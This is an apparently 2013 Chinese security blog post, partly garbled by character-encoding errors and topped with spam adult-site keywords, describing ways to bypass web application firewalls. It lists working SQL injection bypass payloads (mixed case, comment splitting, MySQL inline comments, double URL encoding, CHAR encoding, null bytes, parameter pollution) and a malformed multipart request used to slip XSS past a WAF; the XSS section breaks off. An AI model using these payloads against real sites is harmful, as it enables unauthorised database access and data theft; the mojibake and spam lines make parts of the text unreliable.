国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動(dòng)安全 安全管理 應(yīng)用案例 網(wǎng)絡(luò)威脅系統(tǒng)安全 應(yīng)用安全 數(shù)據(jù)安全 云安全
當(dāng)前位置: 主頁(yè) > 信息安全 > 系統(tǒng)安全 >

淺談WAF繞過過程 保護(hù)WEB安全

時(shí)間:2013-03-11 15:01來源: 點(diǎn)擊:
對(duì)一些攻擊特征串進(jìn)行不同的編碼,如:URL編碼,ASCII,Unicode.使用一些非標(biāo)準(zhǔn)的編碼很容易就造成WAF BYPASS.(許多WAF對(duì)無法解析的HTTP頭,默認(rèn)直接BYPASS) 淺談WAF繞過過程 保護(hù)WEB安全
Tags系統(tǒng)安全(735)WAF(38)ndash(2)unicode碼(2)  

  因工作原因研究了幾天WAF繞過,簡(jiǎn)單分享下WAF繞過思路。

  對(duì)一些攻擊特征串進(jìn)行不同的編碼,如:URL編碼,ASCII,Unicode.使用一些非標(biāo)準(zhǔn)的編碼很容易就造成WAF BYPASS.

  一些字符非標(biāo)準(zhǔn)的unicode碼:

  用NULL對(duì)數(shù)據(jù)截?cái)?,?jīng)測(cè)試發(fā)現(xiàn),靈活使用NULL字節(jié)可以有效避開配置為阻止包含已知攻擊字符串的請(qǐng)求的WAF。

  有時(shí),把使用GET方法的攻擊轉(zhuǎn)換成使用POST方法的攻擊可能會(huì)避開某些過濾。許多應(yīng)用程序在整個(gè)應(yīng)用程序中執(zhí)行某正常規(guī)過濾,阻止已知的攻擊字符串。如果一個(gè)應(yīng)用程序希望收到使用GET方法的請(qǐng)求,它能之對(duì)URL查詢字符串執(zhí)行這種過濾。將請(qǐng)求轉(zhuǎn)換為使用POST就可以完全避開這種過濾。

  看一個(gè)在沒有正確解析HTTP Request數(shù)據(jù)包導(dǎo)致的WAF繞過,觸發(fā)一個(gè)XSS:

  POST /demo.php HTTP/1.0

  Content-Type: multipart/form-data; boundary=0000

  Content-Length: 97

  –0000–

  Content-Disposition: form-data; name=x’;filename=”‘;name=payload;”

  

  –0000–

  正常的HTTP應(yīng)該是如下:

  POST /demo.php HTTP/1.0

  Content-Type: multipart/form-data; boundary=0000

  Content-Length: 97

  –0000–

  Content-Disposition: form-data; name=”upfile”; filename=”payload”

  

  –0000–

  對(duì)比上面?zhèn)z個(gè)HTTP頭,給我們提供了WAF繞過的思路,修改攻擊特征串或HTTP中的一細(xì)節(jié),讓W(xué)AF無法解析或者解析錯(cuò)誤導(dǎo)致繞過。(許多WAF對(duì)無法解析的HTTP頭,默認(rèn)直接BYPASS)

  羅列了一小部分的基本的繞過技巧(許多技巧因與工作相關(guān)無法分享,望見諒~^_^)。

  這些技巧不一定能成功繞過WAF,但在許多場(chǎng)合下,通過一些基本技巧組合的使用,能提高繞過WAF的成功率,甚至完全BYPASS。

  Sql Injection Bypass

  大小寫變種:

  UnIon/**/sElEcT/**/1,2,3/**/fRoM/**/Users–

  使用注釋:

  如上。在中使用類似如下攻擊依然有效:

  ‘/**/UN/**/ION/**/SEL/**/ECT/**/1,2,3/**/FROM/table–

  內(nèi)聯(lián)內(nèi)容(MySql Only):

  /*!UnIoN*/SeLecT+1,2,3–

  /*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()–

  嵌套表達(dá)式:

  UNunionION+SEselectLECT+1,2,3–

  編碼:

  2次URL編碼:

  %252f%252a*/union%252f%252a*/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users–

  ASCII:

  “SELECT” ASCII Encode in databases.

  MySql: char(83,69,76,69,67,84)

  : chr(83)||chr(69)||chr(76)||chr(69)||chr(67)||chr(84)

  Ms-Sql: char(chr(83)+chr(69)+chr(76)+chr(69)+chr(67)+chr(84))

  使用空字節(jié):

  %00′ union+select+1,2,3–

  uni%0bon+se%0blect+1,2,3–

  參數(shù)污染(ASP/ASP.NET):

  id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

  XSS Bypass:

  腳本標(biāo)簽:

  
------分隔線----------------------------

推薦內(nèi)容